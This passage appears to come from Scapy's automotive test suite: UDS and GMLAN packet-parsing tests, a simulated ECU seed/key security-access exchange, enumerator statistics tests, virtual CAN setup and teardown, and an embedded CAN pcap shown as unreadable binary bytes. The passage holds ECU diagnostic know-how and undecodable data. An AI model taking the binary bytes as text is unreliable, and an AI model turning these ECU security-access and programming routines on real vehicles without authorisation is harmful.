main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout':5, 'stop_filter': lambda p: p.service==0xff}) sim.start() time.sleep(0.1) try: resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False) assert resp.service == 0x7f assert resp.negativeResponseCode == 0x78 resp = tester.sniff(timeout=2, count=1, verbose=False)[0] assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed), timeout=3, verbose=False) assert resp.service == 0x7f assert resp.negativeResponseCode == 0x35 resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False) assert resp.service == 0x7f assert resp.negativeResponseCode == 0x78 resp = tester.sniff(timeout=2, count=1, verbose=False)[0] assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed+resp.securitySeed), timeout=1, verbose=False) assert resp.service == 0x67 success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success conf.contribs['UDS']['treat-response-pending-as-answer'] = False + Cleanup = Delete vcan interfaces ~ vcan_socket needs_root linux if 0 != call(["sudo", "ip", "link", "delete", iface0]): raise Exception("%s could not be deleted" % iface0) if 0 != call(["sudo", "ip", "link", "delete", iface1]): raise Exception("%s could not be deleted" % iface1) scapy-2.4.4/test/contrib/automotive/ecu_trace.pcap000066400000000000000000000216541372370053500222670ustar00rootroot00000000000000 XM<+ÿÿÿÿÿÿÿÿ3Editcap (Wireshark) 3.0.2 (Git commit 621ed351d5c9)Xq@·wGDåà  UUUUU@@·wGåà  zP2ôª@@·w·•åà  1UUU@@·wâ—åà  zqªªª@@·wÔÄçà  >€UUUUU@@·wÜÊçà  …‚ÿÿÿUU@@·w<èà  }…x@@·w[°èà  }Å@@·wj,ìà  (UUUU@@·w9Iòà  >€UUUUU@@·w^Ñõà  UUUUU@@·w¨Óõà  zxªªªª@@·wMçá  zP2ôª@@·wtaá  'UUUUU@@·wÊbá  zg.iª@@·wyá  'Ô²f‚U@@·wä{á  zgªªªªª@@·wûOá   .ñZ@@·w,Pá  z0ªªªªª@@·wSá  !/U@@·wËdá  znñZªªªª@@·wШá  4A @@·w|©á  z0ªªªªª@@·wô«á  !UUUUU@@·wÉ´á  zt ùªªª@@·w\ãá  >€UUUUU@@·w€á  6±Bâ@@·w±á  z0ªªªªª@@·wá  !®l«Oik>@@·w4á  "œ²8#1q@@·w± á  #vk’àYÇ@@·wÉ á  $×ïö0ðP@@·wå á  %é·#°/@@·w á  &å‚ô=|óÙ@@·w á  'Û/š¬ê¼"@@·wXá  (ߣфƒ­À@@·wuá  )»›ö#³s@@·w‹á  *V0$-&@@·wªá  +Á^XkIá»@@·wËá  ,S¯@óa´@@·wéá  -«!YÒ@@·wá  .¹@::OûÍ@@·w$á  /lÓÅ’¾ì@@·wPá   [‚8³û Ì@@·wfá  !¸(’8‹ @@·w‘á  "s¶k>f@@·w©á  #÷S1vžg@@·wÒá  $xúÛY@@·wíá  %ÀŸö¿êZ@@·w á  &¹“‡`²@@·w9 á  'ú—DÃ×[@@·wR!á  (PlN5C¤@@·w…"á  )éÖXV9õP@@·wž#á  *)Ê78Ð@@·w¶$á  +wù°Úå˜+@@·wÐ%á  ,:‰(×ÇÙ@@·wï&á  -ÉêYe%Ôï@@·w (á  .ý…•g/:@@·w:)á  /"þ¨ÞÂ@@·w`*á   :aHøÜß‹@@·wy+á  !S ÔÀ¯ @@·w›,á  "óÅ’g@@·wÓ-á  #ý3~¦›K_@@·wê.á  $ÆÀ’A;'@@·wz5á  zvªªªªª@@·w!\á  >€UUUUU@@·wvá  7UUUUUU@@·wÈvá  zwªªªªªª@@·w(œá  „1tÛ@@·wzœá  z0ªªªªª@@·w+Ÿá  !óEW BEM@@·w? á  "ÄöУh-@@·wT¡á  #PqYÅܨg@@·wr¢á  $ªI4;ñ+@@·w‹£á  %#e©'xðâ@@·w¶¤á  &I€UUUUU@@·wÀ$ á  60321U@@·w6+ á  zvªªªªª@@·w1P á  >€UUUUU@@·wc á  7UUUUUU@@·wêd á  zwªªªªªª@@·w¹w á  „1 _@@·wÚx á  z0ªªªªª@@·w*{ á  !Qžý>ê@@·w0| á  "f3¦80]@@·w5} á  #àxÍ8Êt@@·wl~ á  $‚s™zk(@@·wŽ á  %7#°X£ÿƒ@@·w¤€ á  &©DkƵކ@@·wÊ á  'xT°.V»¶@@·wó‚ á  (¯¾!¹¾ï±@@·wD„ á  )Í ^K¥–ð@@·w#… á  *zæq)U@@·wB† á  +ÍsFÿR¼@@·wa‡ á  ,å^ùÌ‹Ò@@·w·ˆ á  -©´±Ñ!õÖ@@·w¶‰ á  .U]ÌU ¿å@@·wÚŠ á  /þ„êu]…@@·wŒ á   ŒÛ„ ‡èà@@·w á  !1뉻Êe-@@·w5Ž á  "äèãnp&@@·wYÝ á  zqªª@@·wB á  1ÿU@@·wç á  z1xªªªª@@·wûÕ'á  >€UUUUU@@·wpZFá  >€UUUUU@@·wì‘Oá  z1xªªªª@@·wtßdá  >€UUUUU@@·wdƒá  >€UUUUU@@·wÊ<”á  z1xªªªª@@·wÌè¡á  >€UUUUU@@·wŸmÀá  >€UUUUU@@·w¡çØá  z1xªªªª@@·weòÞá  >€UUUUU@@·wRwýá  >€UUUUU@@·w–¾â  zqÿªª@@·wúÜâ  4AE@@·wÞâ  z0ªªªªª@@·w[àâ  !¢0UUUUU@@·wßéâ  zt ùªªª@@·wâ  >€UUUUU@scapy-2.4.4/test/contrib/automotive/enumerator.uts000066400000000000000000000066401372370053500224040ustar00rootroot00000000000000% Regression tests for enumerators + Load general modules = Load contribution layer from scapy.contrib.automotive.enumerator import * from scapy.contrib.automotive.uds import * + Basic checks = Enumerator basecls checks pkts = [ Enumerator.ScanResult("s1", UDS(b"\x20abcd"), UDS(b"\x60abcd")), Enumerator.ScanResult("s2", UDS(b"\x20abcd"), None), Enumerator.ScanResult("s1", UDS(b"\x21abcd"), UDS(b"\x7fabcd")), Enumerator.ScanResult("s2", UDS(b"\x21abcd"), UDS(b"\x61abcd")), ] pkts[0].req.sent_time = 1.0 pkts[1].req.sent_time = 2.0 pkts[2].req.sent_time = 3.0 pkts[3].req.sent_time = 4.0 pkts[0].resp.time = 1.9 pkts[2].resp.time = 3.1 pkts[3].resp.time = 4.5 e = Enumerator(None) e.results = pkts = Enumerator not completed check assert e.completed == False = Enumerator stats check e.update_stats() assert e.stats["answered"] == 3 assert e.stats["unanswered"] == 1 assert round(e.stats["answertime_max"], 1) == 0.9 assert round(e.stats["answertime_min"], 1) == 0.1 assert round(e.stats["answertime_avg"], 1) == 0.5 assert e.stats["negative_resps"] == 1 = Enumerator filtered results assert len(e.filtered_results) == 3 assert e.filtered_results[0] == pkts[0] assert e.filtered_results[1] == pkts[2] = Enumerator scanned states assert len(e.scanned_states) == 2 assert {"s1", "s2"} == e.scanned_states = Enumerator show def show_negative_response_details(self, dump=False): pass def get_table_entry(tup): state, req, res = tup label = Enumerator.get_label(res) return state, "0x%02x: %s" % (req.service, req.sprintf("%UDS.service%")), label e.show_negative_response_details = show_negative_response_details e.get_table_entry = get_table_entry e.show(filtered=False) dump = e.show(dump=True, filtered=False) assert "NegativeResponse" in dump assert "PositiveResponse" in dump assert "PR:" in dump assert "NR:" in dump assert "s1" in dump assert "s2" in dump assert "Times between request and response:\tMIN: 0.100000\tMAX: 0.900000\tAVG: 0.500000" in dump = Enumerator get_label assert Enumerator.get_label(pkts[0].resp) == "PR: PositiveResponse" assert Enumerator.get_label(pkts[1].resp) == "Timeout" assert Enumerator.get_label(pkts[2].resp) == "NR: NegativeResponse" assert Enumerator.get_label(pkts[3].resp, lambda: "positive") == "positive" assert Enumerator.get_label(pkts[3].resp, lambda: "positive" + hex(pkts[3].req.service)) == "positive" + "0x21" = Enumerator completed e.state_completed["s1"] = True e.state_completed["s2"] = True assert e.completed + Graph tests = Basic test g = Graph() g.add_edge("1", "1") g.add_edge("1", "2") g.add_edge("2", "3") g.add_edge("3", "4") g.add_edge("4", "4") assert "1" in g.nodes assert "2" in g.nodes assert "3" in g.nodes assert "4" in g.nodes assert len(g.nodes) == 4 assert g.dijsktra(g, "1", "4") == ["1", "2", "3", "4"] = Shortest path test g = Graph() g.add_edge("1", "1") g.add_edge("1", "2") g.add_edge("2", "3") g.add_edge("3", "4") g.add_edge("4", "4") assert g.dijsktra(g, "1", "4") == ["1", "2", "3", "4"] g.add_edge("1", "4") assert g.dijsktra(g, "1", "4") == ["1", "4"] g.add_edge("3", "5") g.add_edge("5", "6") print(g.dijsktra(g, "1", "6")) assert g.dijsktra(g, "1", "6") == ["1", "2", "3", "5", "6"] or g.dijsktra(g, "1", "6") == ['1', '4', '3', '5', '6'] g.add_edge("2", "5") print(g.dijsktra(g, "1", "6")) assert g.dijsktra(g, "1", "6") == ["1", "2", "5", "6"] g.add_edge("4", "6") assert g.dijsktra(g, "1", "6") == ["1", "4", "6"] scapy-2.4.4/test/contrib/automotive/gm/000077500000000000000000000000001372370053500200635ustar00rootroot00000000000000scapy-2.4.4/test/contrib/automotive/gm/gmlan.uts000066400000000000000000000267121372370053500217260ustar00rootroot00000000000000# gmlan unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/gmlan.uts -F % gmlan unit tests + Configuration of scapy = Load gmlan layer ~ conf load_contrib("automotive.ecu", globals_dict=globals()) load_contrib("automotive.gm.gmlan", globals_dict=globals()) + Basic Packet Tests() = Set GMLAN ECU AddressingScheme conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 assert conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] == 2 = Craft Packet x = GMLAN(b'\x52\x02\x01\x16\x71\x00\x00\x0c\xaa\xbb') x.load == b'\x00\x0c\xaa\xbb' x.service == 0x52 = Craft VIN Packet x = GMLAN(b'\x5a\x90'+ raw(b"WOOOJBF35W1042000")) x.load == b'WOOOJBF35W1042000' x.dataIdentifier == 0x90 = Test Packet with ECU AddressingScheme2 x = GMLAN()/GMLAN_RMBA(b'\x11\x22\x44\x22') x.memoryAddress == 0x1122 x.memorySize == 0x4422 = Test Packet GMLAN_RMBAPR with ECU AddressingScheme2 y = GMLAN()/GMLAN_RMBAPR(b'\x11\x22\x44\x22') y.memoryAddress == 0x1122 y.dataRecord == b'\x44\x22' y.answers(x) == True = Craft Packet with ECU AddressingScheme2 x = GMLAN() / GMLAN_RMBA(b'\x11\x22\x44\x22') y = GMLAN()/GMLAN_RMBA(memoryAddress=0x1122, memorySize=0x4422) bytes(x) == bytes(y) = Test Packet with ECU AddressingScheme3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 x = GMLAN()/GMLAN_RMBA(b'\x11\x22\x44\x22\x11') x.memoryAddress == 0x112244 x.memorySize == 0x2211 = Test Packet GMLAN_RMBAPR with ECU AddressingScheme3 y = GMLAN()/GMLAN_RMBAPR(b'\x11\x22\x44\x22\x11') y.memoryAddress == 0x112244 y.dataRecord == b'\x22\x11' y.answers(x) == True = Craft Packet with ECU AddressingScheme3 x = GMLAN() / GMLAN_RMBA(b'\x11\x22\x44\x22\x11') y = GMLAN()/GMLAN_RMBA(memoryAddress=0x112244, memorySize=0x2211) bytes(x) == bytes(y) = Test Packet with ECU AddressingScheme4 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 x = GMLAN()/GMLAN_RMBA(b'\x11\x22\x44\x22\x11\x00') x.memoryAddress == 0x11224422 x.memorySize == 0x1100 = Test Packet GMLAN_RMBAPR with ECU AddressingScheme4 y = GMLAN()/GMLAN_RMBAPR(b'\x11\x22\x44\x22\x11\x00') y.memoryAddress == 0x11224422 y.dataRecord == b'\x11\x00' y.answers(x) == True = Craft Packet with ECU AddressingScheme4 x = GMLAN() / GMLAN_RMBA(b'\x11\x22\x44\x22\x11\x00') y = GMLAN()/GMLAN_RMBA(memoryAddress=0x11224422, memorySize=0x1100) bytes(x) == bytes(y) = Craft Packet for RequestDownload2 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 x = GMLAN(b'\x34\x12\x08\x15') x.service == 0x34 x.dataFormatIdentifier == 0x12 x.memorySize == 0x815 y = GMLAN()/GMLAN_RD(dataFormatIdentifier=0x12, memorySize=0x815) bytes(y) == bytes(x) = Craft Packet for RequestDownload3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 x = GMLAN(b'\x34\x12\x08\x15\x00') x.service == 0x34 x.dataFormatIdentifier == 0x12 x.memorySize == 0x81500 y = GMLAN()/GMLAN_RD(dataFormatIdentifier=0x12, memorySize=0x81500) bytes(y) == bytes(x) = Craft Packet for RequestDownload4 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 x = GMLAN(b'\x34\x12\x08\x15\x00\x11') x.service == 0x34 x.dataFormatIdentifier == 0x12 x.memorySize == 0x8150011 = Craft Packet for RFRD1 a = GMLAN(b'\x12\x01') a.service == 0x12 a.subfunction == 1 = Craft Packet for RFRD2 b = GMLAN(b'\x12\x02\x01\x02\x03\x04') b.service == 0x12 b.subfunction == 2 b.dtc.failureRecordNumber == 1 b.dtc.DTCHighByte == 2 b.dtc.DTCLowByte == 3 b.dtc.DTCFailureType == 4 = Craft Packet for RFRDPR_RFRI x = GMLAN(b'\x52\x01\x00\x01\x02\x03\x04') x.service == 0x52 x.subfunction == 1 x.failureRecordDataStructureIdentifier == 0 x.dtcs[0].failureRecordNumber == 1 x.dtcs[0].DTCHighByte == 2 x.dtcs[0].DTCLowByte == 3 x.dtcs[0].DTCFailureType == 4 x.answers(a) == True = Craft Packet for RFRDPR_RFRI x = GMLAN(b'\x52\x01\x00\x01\x02\x03\x04\x01\x02\x03\x04\x01\x02\x03\x04\x01\x02\x03\x04') x.service == 0x52 x.subfunction == 1 x.failureRecordDataStructureIdentifier == 0 x.dtcs[0].failureRecordNumber == 1 x.dtcs[0].DTCHighByte == 2 x.dtcs[0].DTCLowByte == 3 x.dtcs[0].DTCFailureType == 4 x.dtcs[1].failureRecordNumber == 1 x.dtcs[1].DTCHighByte == 2 x.dtcs[1].DTCLowByte == 3 x.dtcs[1].DTCFailureType == 4 x.dtcs[2].failureRecordNumber == 1 x.dtcs[2].DTCHighByte == 2 x.dtcs[2].DTCLowByte == 3 x.dtcs[2].DTCFailureType == 4 x.dtcs[3].failureRecordNumber == 1 x.dtcs[3].DTCHighByte == 2 x.dtcs[3].DTCLowByte == 3 x.dtcs[3].DTCFailureType == 4 x.answers(a) == True = Craft Packet for RFRDPR_RFRP x = GMLAN(b'\x52\x02\x01\x02\x03\x04deadbeef') x.service == 0x52 x.subfunction == 2 x.dtc.failureRecordNumber == 1 x.dtc.DTCHighByte == 2 x.dtc.DTCLowByte == 3 x.dtc.DTCFailureType == 4 x.show() x.load == b'deadbeef' x.answers(b) == True = Craft Packet for RDBI x = GMLAN(b'\x1A\x11') x.service == 0x1A x.dataIdentifier == 0x11 = Craft Packet for RDBIPR y = GMLAN(b'\x5A\x11deadbeef') y.service == 0x5A y.dataIdentifier == 0x11 y.load == b'deadbeef' y.answers(x) == True = Craft Packet for RDBPI x = GMLAN(b'\x22\x11\x11\x22\x22\x33\x33\x44\x44\x55\x55\x66\x66\x77\x77\x88\x88\x99\x99') x.service == 0x22 x.identifiers[0] == 0x1111 x.identifiers[1] == 0x2222 x.identifiers[2] == 0x3333 x.identifiers[3] == 0x4444 x.identifiers[4] == 0x5555 x.identifiers[5] == 0x6666 x.identifiers[6] == 0x7777 x.identifiers[7] == 0x8888 x.identifiers[8] == 0x9999 = Craft Packet for RDBPIPR y = GMLAN(b'\x62\x11\x11deadbeef') y.service == 0x62 y.parameterIdentifier == 0x1111 y.load == b'deadbeef' y.answers(x) == True = Craft Packet for GMLAN_RDBPKTI1 x = GMLAN(b'\xAA\x01deadbeef') x.service == 0xAA x.subfunction == 0x01 x.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66] = Craft Packet for GMLAN_RDBPKTI3 x = GMLAN(b'\xAA\x02deadbeef') x.service == 0xAA x.subfunction == 0x02 x.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66] = Craft Packet for GMLAN_RDBPKTI4 x = GMLAN(b'\xAA\x03deadbeef') x.service == 0xAA x.subfunction == 0x03 x.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66] = Craft Packet for GMLAN_RDBPKTI2 x = GMLAN(b'\xAA\x00') x.service == 0xAA x.subfunction == 0 = Build GMLAN_RDBPKTI1 x = GMLAN()/GMLAN_RDBPKTI(subfunction=1, request_DPIDs=[0x64, 0x65]) assert b"\xaa\x01de" == bytes(x) = Craft Packet for GMLAN_SA1 a = GMLAN(b'\x27\x01') a.service == 0x27 a.subfunction == 1 = Craft Packet for GMLAN_SA2 b = GMLAN(b'\x27\x02\xde\xad') b.service == 0x27 b.subfunction == 2 b.securityKey == 0xdead = Craft Packet for GMLAN_SAPR1 x = GMLAN(b'\x67\x02') x.service == 0x67 x.subfunction == 2 x.answers(b) ecu = ECU() ecu.update(x) assert ecu.current_security_level == 2 = Craft Packet for GMLAN_SAPR2 x = GMLAN(b'\x67\x01\xde\xad') x.service == 0x67 x.subfunction == 1 x.securitySeed == 0xdead x.answers(a) = Craft Packet for GMLAN_DDM x = GMLAN(b'\x2c\x02dead') x.service == 0x2c x.DPIDIdentifier == 2 x.PIDData == b'dead' = Craft Packet for GMLAN_DDMPR y = GMLAN(b'\x6c\x02dead') y.service == 0x6c y.DPIDIdentifier == 2 y.answers(x) = Craft Packet for GMLAN_DPBA1 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 x = GMLAN(b'\x2D\x02\x02\x11\x11\x33') x.service == 0x2d x.parameterIdentifier == 0x202 x.memoryAddress == 0x1111 x.memorySize == 0x33 = Craft Packet for GMLAN_DPBA2 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 x = GMLAN(b'\x2D\x02\x02\x11\x11\x11\x33') x.service == 0x2d x.parameterIdentifier == 0x202 x.memoryAddress == 0x111111 x.memorySize == 0x33 = Craft Packet for GMLAN_DPBA3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 x = GMLAN(b'\x2D\x02\x02\x11\x11\x11\x11\x33') x.service == 0x2d x.parameterIdentifier == 0x202 x.memoryAddress == 0x11111111 x.memorySize == 0x33 = Craft Packet for GMLAN_DPBAPR y = GMLAN(b'\x6D\x02\x02') y.service == 0x6d y.parameterIdentifier == 0x202 y.answers(x) = Craft Packet for GMLAN_RD1 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 x = GMLAN(b'\x34\x02\x11\x11') x.service == 0x34 x.dataFormatIdentifier == 0x2 x.memorySize == 0x1111 = Craft Packet for GMLAN_RD2 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 x = GMLAN(b'\x34\x02\x11\x11\x11') x.service == 0x34 x.dataFormatIdentifier == 0x2 x.memorySize == 0x111111 = Craft Packet for GMLAN_RD3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 x = GMLAN(b'\x34\x02\x11\x11\x11\x11') x.service == 0x34 x.dataFormatIdentifier == 0x2 x.memorySize == 0x11111111 = Craft Packet for GMLAN_TD1 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 x = GMLAN(b'\x36\x02\x11\x11dead') x.service == 0x36 x.subfunction == 0x2 x.startingAddress == 0x1111 x.dataRecord == b'dead' = Craft Packet for GMLAN_TD2 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 x = GMLAN(b'\x36\x02\x11\x11\x11dead') x.service == 0x36 x.subfunction == 0x2 x.startingAddress == 0x111111 x.dataRecord == b'dead' = Craft Packet for GMLAN_TD3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 x = GMLAN(b'\x36\x02\x11\x11\x11\x11dead') x.service == 0x36 x.subfunction == 0x2 x.startingAddress == 0x11111111 x.dataRecord == b'dead' = Craft Packet for WDBI x = GMLAN(b'\x3b\x11deadbeef') x.service == 0x3b x.dataIdentifier == 0x11 x.dataRecord == b'deadbeef' = Craft Packet for WDBIPR y = GMLAN(b'\x7b\x11') y.service == 0x7b y.dataIdentifier == 0x11 y.answers(x) = Craft Packet for RPSPR x = GMLAN(b'\xe2\x11') x.service == 0xe2 x.programmedState == 0x11 = Craft Packet for PM x = GMLAN(b'\xA5\x11') x.service == 0xA5 x.subfunction == 0x11 = Craft Packet for RDI x = GMLAN(b'\xA9\x11') x.service == 0xA9 x.subfunction == 0x11 = Craft Packet for RDI_BN x = GMLAN(b'\xA9\x80\x11\x22\x33') x.service == 0xA9 x.subfunction == 0x80 x.DTCHighByte == 0x11 x.DTCLowByte == 0x22 x.DTCFailureType == 0x33 = Craft Packet for RDI_BM1 x = GMLAN(b'\xA9\x81\x11') x.service == 0xA9 x.subfunction == 0x81 x.DTCStatusMask == 0x11 = Craft Packet for RDI_BM2 x = GMLAN(b'\xA9\x82\x11') x.service == 0xA9 x.subfunction == 0x82 x.DTCStatusMask == 0x11 = Craft Packet for NR x = GMLAN(b'\x7f\x11\x00\x11\x22') x.service == 0x7f x.requestServiceId == 0x11 x.returnCode == 0 x.deviceControlLimitExceeded == 0x1122 = Check not answers y = GMLAN(b'\x11deadbeef') x = GMLAN(b'\x7f\x10\x00\x11\x22') assert not x.answers(y) = Check answers 1 y = GMLAN(b'\x10deadbeef') x = GMLAN(b'\x7f\x10\x00\x11\x22') assert x.answers(y) = Set treat-response-pending-as-answer conf.contribs['GMLAN']['treat-response-pending-as-answer'] = False assert conf.contribs['GMLAN']['treat-response-pending-as-answer'] == False = Check response-pending is not considered as answer y = GMLAN(b'\x10deadbeef') x = GMLAN(b'\x7f\x10\x78\x11\x22') assert not x.answers(y) = Check response-pending is considered as answer conf.contribs['GMLAN']['treat-response-pending-as-answer'] = True assert conf.contribs['GMLAN']['treat-response-pending-as-answer'] == True y = GMLAN(b'\x10deadbeef') x = GMLAN(b'\x7f\x10\x78\x11\x22') assert x.answers(y) = Check hashret 1 print(y.hashret()) print(x.hashret()) y.hashret() == x.hashret() = Check answers 2 y = GMLAN()/GMLAN_SA(subfunction=1) x = GMLAN()/GMLAN_SAPR(subfunction=1) assert x.answers(y) = Check hashret 2 y.hashret() == x.hashret() = Check modifies ecu state ecu = ECU() ecu.update(GMLAN(service="InitiateDiagnosticOperationPositiveResponse")) assert ecu.current_session == 3 ecu.update(GMLAN(service="ReturnToNormalOperationPositiveResponse")) assert ecu.current_session == 1 ecu.update(GMLAN(service="ProgrammingModePositiveResponse")) assert ecu.current_session == 2 ecu.update(GMLAN(service="DisableNormalCommunicationPositiveResponse")) assert ecu.communication_control == 1 ecu.update(GMLAN(service="ReturnToNormalOperationPositiveResponse")) assert ecu.current_session == 1 assert ecu.communication_control == 0 scapy-2.4.4/test/contrib/automotive/gm/gmlanutils.uts000066400000000000000000001524331372370053500230070ustar00rootroot00000000000000% Regression tests for gmlanutil + Configuration ~ conf = Imports load_layer("can", globals_dict=globals()) conf.contribs['CAN']['swap-bytes'] = False import subprocess, sys import scapy.modules.six as six from subprocess import call from scapy.consts import LINUX = Definition of constants, utility functions and mock classes iface0 = "vcan0" iface1 = "vcan1" # function to exit when the can-isotp kernel module is not available ISOTP_KERNEL_MODULE_AVAILABLE = False def exit_if_no_isotp_module(): if not ISOTP_KERNEL_MODULE_AVAILABLE: err = "TEST SKIPPED: can-isotp not available\n" sys.__stderr__.write(err) warning("Can't test ISOTP native socket because kernel module is not loaded") exit(0) = Initialize a virtual CAN interface ~ vcan_socket needs_root linux if 0 != call(["cansend", iface0, "000#"]): # vcan0 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface0, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface0) if 0 != call(["sudo", "ip", "link", "set", "dev", iface0, "up"]): raise Exception("could not bring up %s" % iface0) if 0 != call(["cansend", iface0, "000#"]): raise Exception("cansend doesn't work") if 0 != call(["cansend", iface1, "000#"]): # vcan1 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface1, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface1) if 0 != call(["sudo", "ip", "link", "set", "dev", iface1, "up"]): raise Exception("could not bring up %s" % iface1) if 0 != call(["cansend", iface1, "000#"]): raise Exception("cansend doesn't work") print("CAN should work now") = Import CANSocket from scapy.contrib.cansocket_python_can import * new_can_socket = lambda iface: CANSocket(bustype='virtual', channel=iface, timeout=0.01) new_can_socket0 = lambda: CANSocket(bustype='virtual', channel=iface0, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='virtual', channel=iface1, timeout=0.01) # utility function for draining a can interface, asserting that no packets are there def drain_bus(iface=iface0, assert_empty=True): with new_can_socket(iface) as s: pkts = s.sniff(timeout=0.1) if assert_empty: assert len(pkts) == 0 print("CAN sockets should work now") = Overwrite definition for vcan_socket systems native sockets ~ vcan_socket not_pypy needs_root linux if six.PY3 and LINUX: from scapy.contrib.cansocket_native import * new_can_socket = lambda iface: CANSocket(iface) new_can_socket0 = lambda: CANSocket(iface0) new_can_socket1 = lambda: CANSocket(iface1) = Overwrite definition for vcan_socket systems python-can sockets ~ vcan_socket needs_root linux if "python_can" in CANSocket.__module__: new_can_socket = lambda iface: CANSocket(bustype='socketcan', channel=iface, timeout=0.001) new_can_socket0 = lambda: CANSocket(bustype='socketcan', channel=iface0, timeout=0.001) new_can_socket1 = lambda: CANSocket(bustype='socketcan', channel=iface1, timeout=0.001) = Verify that a CAN socket can be created and closed s = new_can_socket(iface0) s.close() = Check if can-isotp and can-utils are installed on this system ~ linux p1 = subprocess.Popen(['lsmod'], stdout = subprocess.PIPE) p2 = subprocess.Popen(['grep', '^can_isotp'], stdout = subprocess.PIPE, stdin=p1.stdout) p1.stdout.close() if p1.wait() == 0 and p2.wait() == 0 and b"can_isotp" in p2.stdout.read(): p = subprocess.Popen(["isotpsend", "-s1", "-d0", iface0], stdin = subprocess.PIPE) p.communicate(b"01") if p.returncode == 0: ISOTP_KERNEL_MODULE_AVAILABLE = True + Syntax check = Import isotp conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': ISOTP_KERNEL_MODULE_AVAILABLE} if six.PY3: import importlib if "scapy.contrib.isotp" in sys.modules: importlib.reload(scapy.contrib.isotp) load_contrib("isotp", globals_dict=globals()) if six.PY3 and ISOTP_KERNEL_MODULE_AVAILABLE: assert ISOTPSocket == ISOTPNativeSocket else: assert ISOTPSocket == ISOTPSoftSocket ############ ############ + Load general modules = Load contribution layer load_contrib("automotive.gm.gmlan", globals_dict=globals()) load_contrib("automotive.gm.gmlanutils", globals_dict=globals()) ############################################################################## + GMLAN_RequestDownload Tests ############################################################################## = Positive, immediate positive response ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_RD(memorySize=4) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_RequestDownload(isotpsock, 4, timeout=1) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = Negative, immediate negative response started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) nr = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x22) isotpsock2.send(nr) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_RequestDownload(isotpsock, 4, timeout=1) == False thread.join(timeout=5) = Negative, timeout with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_RequestDownload(isotpsock, 4, timeout=1) == False ############################ Response pending = Positive, after response pending started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) isotpsock2.send(pending) ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_RequestDownload(isotpsock, 4, timeout=1) == True thread.join(timeout=5) = Positive, hold response pending for several messages tout = 0.8 repeats = 4 started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) for i in range(repeats): 